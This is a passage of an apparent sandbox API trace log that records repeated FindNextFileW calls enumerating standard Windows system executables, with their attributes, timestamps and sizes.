cFileName="bootcfg.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39e6d0c2, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x39e6d0c2, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdacd3b10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="bridgeunattend.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa71185d, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xfa71185d, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="bthudtask.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdad1f600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cacls.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3786a5f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xa3786a5f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdafa6590, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xe0400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="calc.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa00af576, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xa00af576, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb312d00, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="CertEnrollCtrl.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d779bd5, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x9d779bd5, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb4689c0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="certreq.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaba59ad6, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xaba59ad6, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdb99d9e0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x11f000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="certutil.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b5dd62, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b5dd62, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="change.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x965e8982, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x965e8982, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdba376d0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x28800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="charmap.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="chglogon.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b83ec2, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b83ec2, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b83ec2, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="chgport.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2b37c01, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2b37c01, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2b5dd62, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="chgusr.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc10dea0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="chkdsk.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc134fa0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="chkntfs.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93205b17, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93205b17, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9322bc77, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="choice.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x318b7149, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x318b7149, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc23f170, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cipher.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbbfaf1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x7cbbfaf1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdc2fd850, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x34c00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cleanmgr.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e5790, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xb7e5790, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xdc324950, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xc000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cliconfg.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x391d06ff, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x391d06ff, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdc349340, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="clip.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8734b6f7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8734b6f7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87371858, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x54400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cmd.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1030d73, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb1030d73, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xdd3a6a80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cmdkey.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ec55860, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x6ec55860, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3cdb80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cmdl32.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4445bb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7d4445bb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xdd3f2570, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cmmon32.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8efab55c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8efab55c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8efab55c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x16800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cmstp.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ba021e4, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x1ba021e4, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xdd419670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cofire.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fdc04, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x19fdc04, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdd465160, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x15200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="colorcpl.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316ee0ed, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x316ee0ed, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd48c260, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="comp.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3171424a, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3171424a, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="compact.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7238b736, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0x7238b736, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xeecd5140, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x23a00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="CompMgmtLauncher.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7da9e, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x82d7da9e, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd4b0c50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="ComputerDefaults.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x853e749d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x853e749d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8547fa1f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="conhost.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ee548fa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8ee548fa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8ee548fa, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b580, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="consent.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75044f6b, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x75044f6b, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xdd67bc10, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1c000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="control.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29ca404f, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x29ca404f, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xdd6a0600, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5000, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="convert.exe", cAlternateFileName="")) returned 1 [0034.343] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eda12e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xb0eda12e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0xddacb450, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="credwiz.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53727ed, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xd53727ed, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x26200, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cscript.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b3e3e96, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x6b3e3e96, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xddb62a30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="csrss.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c51c5ff, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1c51c5ff, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xddbb0c30, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="ctfmon.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2191a4, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8e2191a4, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc48210, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4ea00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cttune.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x895c7647, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x895c7647, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xddc6f310, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="cttunesvr.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1385fc55, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x1385fc55, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xdde37bc0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xd7400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dccw.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfca15ae0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xfca15ae0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde000470, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="dcomcnfg.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdbf2c800, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdbf2c800, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde0beb50, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="ddodiag.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbcdff23, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xbbcdff23, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde10a640, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2cc00, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="Defrag.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb939178, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xdb939178, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x1b400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DeviceDisplayObjectProvider.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ff3a56c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x5ff3a56c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xde156130, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DeviceEject.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: lpFindFileData=0x174f9a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe32659, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbbe32659, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xde17d230, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x31, dwReserved1=0x5c0, cFileName="DevicePairingWizard.exe", cAlternateFileName="")) returned 1 [0034.344] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f9a8 | out: 